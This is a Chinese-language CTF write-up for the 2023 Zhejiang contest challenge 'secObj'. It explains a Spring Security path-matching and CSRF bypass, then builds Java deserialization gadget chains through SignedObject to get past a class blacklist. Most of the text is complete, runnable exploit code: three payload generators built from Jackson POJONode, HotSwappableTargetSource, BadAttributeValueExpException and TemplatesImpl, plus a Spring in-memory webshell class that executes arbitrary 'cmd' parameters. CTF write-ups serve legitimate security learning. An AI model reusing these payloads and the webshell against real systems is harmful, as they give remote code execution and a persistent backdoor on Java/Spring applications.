Contents

2023浙江大学生省赛初赛 secObj

题目信息

本题涉及知识点:Java代码审计、Spring Security权限验证绕过、HotSwappableTargetSource绕过黑名单、SignedObject二次反序列化

  • 题目类型:CTF
  • 题目名称:2023浙江大学生省赛初赛 secObj
  • 题目镜像:ccr.ccs.tencentyun.com/lxxxin/public:zjctf2023_secobj
  • 内部端口:80
  • 题目附件:6ZO+5o6lOiBodHRwczovL3Bhbi5iYWlkdS5jb20vcy8xTlBBUlhLLWNrWGNTQU9QVHlybGxLUT9wd2Q9ZmxhZyDmj5Dlj5bnoIE6IGZsYWc=(自行Base64解码)

启动脚本

请确保本地安装了docker命令,并且确保12345端口未被占用,然后以root权限运行下方命令,运行成功后会返回一串16进制字符串(此为容器ID),表示容器运行成功,接着打开Chrome或者Firefox浏览器,用浏览器访问12345端口

1
docker run -it -d -p 12345:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} ccr.ccs.tencentyun.com/lxxxin/public:zjctf2023_secobj

WriteUp

Spring Security权限绕过分析

题目给了附件,反编译打开,整体的目录结构如下:

  • 用了Spring Security做权限验证
  • 存在AdminController和IndexController
  • 自定义了一个ObjectInputStream

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202311081048898.png

先看pom依赖,pom依赖挺正常的,没有非常特殊的依赖:

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202311081048900.png

再看AdminController,很明显存在一个反序列化入口

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202311081048901.png

反序列化入口在/admin路由下,由于这里用了Spring Security做权限验证,所以需要尝试绕过权限验证

观察SecurityConfig类:

  • 第一个configure做了访问控制
  • 第二个configure设置了admin的密码,不过admin的密码是uuid随机生成的

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202311081048902.png

这里的访问控制链如下:

1
((HttpSecurity)((FormLoginConfigurer)((HttpSecurity)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)http.authorizeRequests().antMatchers(new String[]{"/admin/*"})).hasRole("ADMIN").anyRequest()).permitAll().and()).formLogin().defaultSuccessUrl("/admin/user/hello")).and()).logout().logoutSuccessUrl("/login");

由于反编译存在类型转换,原本链式的访问控制被编译的很难看,这里稍作美化处理:

  • 本意是想让拥有ADMIN角色的人能访问/admin/*下的资源
  • 默认登录成功的路由为/admin/user/hello
  • 登出后跳转到/login
1
2
3
4
5
6
http.authorizeRequests()
.antMatchers(new String[]{"/admin/*"}).hasRole("ADMIN").anyRequest().permitAll()
.and()
.formLogin().defaultSuccessUrl("/admin/user/hello"))
.and()
.logout().logoutSuccessUrl("/login");

这里其实就存在绕过:

  • /admin/*实际上只匹配一层资源,例如:能匹配到/admin/a,能匹配到/admin/a.js,但不能匹配到/admin/a/b
  • 如果想要匹配/admin/a/b,就需要写成/admin/**的形式
  • 这里反序列化入口位于/admin/user/readObj,但用了/admin/*来匹配,显然是匹配不到的
  • 这里的绕过和Spring Security无关,这种匹配模式就是这么设计的,如果在生产环境中遇到,就是开发者的问题

所以,在不添加任何参数、不携带任何SESSION的情况下,是可以直接访问到/admin/user/hello的

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202311081048903.png

那么问题来了,为什么在直接POST去访问/admin/user/readObj却不行了呢?

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202311081048904.png

需要注意的是,这里返回的是403 Forbidden,并不是401 Unauthorized,所以权限判断实际上是已经过了,返回403的原因实际上是Spring Security默认会开启csrf验证,防止csrf攻击,实际上在开发的时候,很多培训视频会上来就把Spring Security的csrf验证关掉(如下方代码所示):

1
http.csrf().disable()

本题在configure中并没有关闭csrf,所以我们直接POST时会返回403

绕过的方式实际上也很简单,就是访问一下/login,拿到配套的csrf和SESSION发送给/admin/user/readObj(注意必须配套):

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202311081048905.png

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202311081048906.png

然后配套发送即可,这个时候就会返回400了(因为还缺个data参数)

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202311081048907.png

SignedObject二次反序列化用HSTS套娃触发

HSTS即:HotSwappableTargetSource

接下来的任务就是找反序列化链了

先看MyObjectInputStream类,过滤了下方这些黑名单包类名

1
2
3
4
5
6
7
AbstractTranslet
Templates
TemplatesImpl
javax.management
swing
awt
fastjson

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202311081048908.png

由于本题没有CommonsCollections依赖,JDK自带的TemplatesImpl也被过滤了,直接一次完成反序列化实际上是非常困难的,所以可以尝试二次反序列化绕过黑名单

这里没有过滤SignedObject,所以可以通过SignedObject的方式做二次反序列化。SignedObject二次反序列化位于SignedObject#getObject方法,所以需要触发getter方法

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202311081048909.png

触发getter的方式可以参考阿里云CTF Bypassit1题目:

简单来说就是POJONode#toString可以调用任意getter方法。

截至目前,我们有以下调用链(其中[datou1]和[datou2]是还没链上的部位):

1
[datou1] -> POJONode#toString -> SignedObject#getObject -> [datou2] -> TemplatesImpl#getOutputProperties

其中[datou1]是受黑名单限制的,而[datou2]是不受黑名单限制的

这里直接给出0rays使用的链子,其中[datou1]位置的链如下:

  • 该链详细分析参考链接:https://boogipop.com/2023/04/26/%E6%98%93%E6%87%82%E7%9A%84Rome%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%88%E6%9B%B4%E6%96%B0%EF%BC%89/#HotSwappableTargetSource%E5%88%A9%E7%94%A8%E9%93%BE
1
HashMap#readObject -> HashMap#putVal -> HotSwappableTargetSource#equals -> XString#equals

由于POJONode#toString可以调用任意getter方法,[datou1]段的最终是为了调用SignedObject的getter,我们的目标是调用TemplatesImpl的getter,所以可以在[datou2]段再重复一段[datou1],然后把sink点改成TemplatesImpl即可,因为在二次反序列化过程中,是不受题目的黑名单限制的

最终,Gadget如下:

  • 其中第1行为[datou1]、第3行为[datou2]
1
2
3
4
HashMap#readObject -> HashMap#putVal -> HotSwappableTargetSource#equals -> XString#equals 
-> POJONode#toString -> SignedObject#getObject 
-> HashMap#readObject -> HashMap#putVal -> HotSwappableTargetSource#equals -> XString#equals 
-> TemplatesImpl#getOutputProperties

EXP如下:

  • 注意,在二次反序列化打TemplatesImpl#getOutputProperties过程中,有可能会因为先获取到stylesheetDOM属性,调用getStylesheetDOM导致空指针异常退出进程,所以需要利用JdkDynamicAopProxy解决一下jackson链的不稳定性问题(参考:https://xz.aliyun.com/t/12846)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class DoubleReadObjectPoC {
    public static void main(String[] args) throws Exception {
        // 删除 BaseJsonNode#writeReplace 方法
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        // 比赛时不出网,打Spring内存马
        byte[] bytes = Repository.lookupClass(SpringMemShell.class).getBytes();
        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "aaaa");
        setFieldValue(templatesImpl, "_tfactory", null);

        // 内层 HashMap#readObject -> TemplatesImpl#getTransletInstance
        POJONode inJsonNodes = new POJONode(makeTemplatesImplAopProxy(templatesImpl));
        HotSwappableTargetSource inHotSwappableTargetSource1 = new HotSwappableTargetSource(inJsonNodes);
        HotSwappableTargetSource inHotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("1"));
        HashMap inHashMap = makeMap(inHotSwappableTargetSource1, inHotSwappableTargetSource2);

        // SignedObject#getObject -> 内层 HashMap#readObject
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(inHashMap, privateKey, signingEngine);

        // 外层 HashMap#readObject -> SignedObject#getObject
        POJONode jsonNodes = new POJONode(signedObject);
        HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(jsonNodes);
        HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("1"));
        HashMap hashMap = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);

        // 序列化外层 HashMap#readObject
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();

        String res = Base64.getEncoder().encodeToString(barr.toByteArray());
        System.out.println(res);
    }
    // 解决 jackson 链不稳定性问题(当然,如果运气好,不用它也行)
    public static Object makeTemplatesImplAopProxy(Templates templates) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        return proxy;
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }
}

由于比赛的时候是断网,无法直接反弹shell,所以在比赛时需要注入Spring内存马:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringMemShell extends AbstractTranslet{
    static {
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
            configField.setAccessible(true);
            RequestMappingInfo.BuilderConfiguration config =
                    (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
            Method method2 = SpringMemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            RequestMappingInfo info = RequestMappingInfo.paths("/shell")
                    .options(config)
                    .build();
            SpringMemShell springControllerMemShell = new SpringMemShell();
            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

        } catch (Exception hi) {
//            hi.printStackTrace();
        }
    }

    public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
        if (request.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202311081048910.png

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202311081048911.png

堆栈信息如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
...... 至此,实例化任意类完成RCE ......
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
...... 省略 内层BaseJsonNode#toString -> getter 部分(中间实际上还有一部分JdkDynamicAopProxy用于解决JDK链不稳定性问题) ......
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
readObject:1410, HashMap (java.util)
...... 省略到达 内层HashMap#readObject 部分 ......
readObject:431, ObjectInputStream (java.io)
getObject:179, SignedObject (java.security)
...... 省略 外层BaseJsonNode#toString -> getter 部分 ......
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
readObject:1410, HashMap (java.util)
...... 省略到达 外层HashMap#readObject 部分 ......

SignedObject二次反序列化用BAVE触发

BAVE即:BadAttributeValueExpException

刚刚我们分析出待补充的链子如下:

1
[datou1] -> POJONode#toString -> SignedObject#getObject -> [datou2] -> TemplatesImpl#getOutputProperties

而在上一个方法,[datou1]和[datou2]位置都用下方填充

1
HashMap#readObject -> HashMap#putVal -> HotSwappableTargetSource#equals -> XString#equals

实际上,这里我们也可以不使用HashMap去触发,可以用BadAttributeValueExpException#readObject触发BaseJsonNode#toString

  • 其中第1行为[datou1]、第3行为[datou2]
1
2
3
4
HashMap#readObject -> HashMap#putVal -> HotSwappableTargetSource#equals -> XString#equals 
-> POJONode#toString -> SignedObject#getObject 
-> BadAttributeValueExpException#readObject -> BaseJsonNode#toString
-> TemplatesImpl#getOutputProperties

完整的调用链如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
......
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
......
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
readObject:86, BadAttributeValueExpException (javax.management)
......
readObject:431, ObjectInputStream (java.io)
getObject:179, SignedObject (java.security)
......
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:103, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
readObject:1410, HashMap (java.util)
......
main:71, SignedObjectBAVEPoC

EXP如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class SignedObjectBAVEPoC {
    public static void main(String[] args) throws Exception {
        // 删除 BaseJsonNode#writeReplace 方法
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        // 比赛时不出网,打Spring内存马
        byte[] bytes = Repository.lookupClass(SpringMemShell.class).getBytes();
        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "aaaa");
        setFieldValue(templatesImpl, "_tfactory", null);

        // 内层 BadAttributeValueExpException#readObject -> BaseJsonNode#toString
        POJONode po1= new POJONode(makeTemplatesImplAopProxy(templatesImpl));
        BadAttributeValueExpException ba1= new BadAttributeValueExpException(1);
        setFieldValue(ba1,"val",po1);

        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject( ba1, privateKey, signingEngine);

        POJONode jsonNodes = new POJONode(1);
        setFieldValue(jsonNodes,"_value",signedObject);
        HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(jsonNodes);
        HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("1"));
        HashMap hashMap = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();

        String res = Base64.getEncoder().encodeToString(barr.toByteArray());
        System.out.println(res);
    }
    // 解决 jackson 链不稳定性问题(当然,如果运气好,不用它也行)
    public static Object makeTemplatesImplAopProxy(Templates templates) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        return proxy;
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }
}

利用SignedObject获取到object自动调用getter

还是回顾抽象出来的那条待补充的链子:

1
[datou1] -> POJONode#toString -> SignedObject#getObject -> [datou2] -> TemplatesImpl#getOutputProperties

仔细思考上面两种方式:

  • HSTS(起点实际上为HashMap)的最终目的是调用getter
  • BAVE的最终目的也是调用getter

其中调用getter的堆栈如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
getOutputProperties:-1, $Proxy0 (com.sun.proxy)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
readObject:1410, HashMap (java.util)

那么有没有一种可能:不利用HashMap、BadAttributeValueExpException就可以调用getter呢?

完全可以,jackson调用getter的触发点实际上就是下方红色方框的位置,代码位于BeanPropertyWriter#serializeAsField

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202311081048912.png

SignedObject二次反序列化实际上也是在上方红色方框内触发的,那么假如我们不用SignedObject#getObject去触发二次反序列化,而是利用getObject返回一个object对象,实际上在jackson获取到这个object之后,依然是会对其做循环处理,继续调用getter,如果jdk版本合适的话,直接给object对象赋TemplatesImpl即可,如果想稳定点,给object对象赋个Proxy

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202311081048913.png

最终的EXP如下(参考0rays的WriteUp):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class SecObjPoC {
    public static void main(String[] args) throws Exception {
        // 删除 BaseJsonNode#writeReplace 方法
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        // 比赛时不出网,打Spring内存马
        byte[] bytes = Repository.lookupClass(SpringMemShell.class).getBytes();

        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "aaaa");
        setFieldValue(templatesImpl, "_tfactory", null);

        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject((Serializable) makeTemplatesImplAopProxy(templatesImpl), privateKey, signingEngine);

        POJONode jsonNodes = new POJONode(signedObject);
        HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(jsonNodes);
        HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("1"));
        HashMap hashMap = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();
        String res = Base64.getEncoder().encodeToString(barr.toByteArray());
        System.out.println(res);

    }
    // 解决 jackson 链不稳定性问题(当然,如果运气好,不用它也行)
    public static Object makeTemplatesImplAopProxy(Templates templates) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        return proxy;
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }
}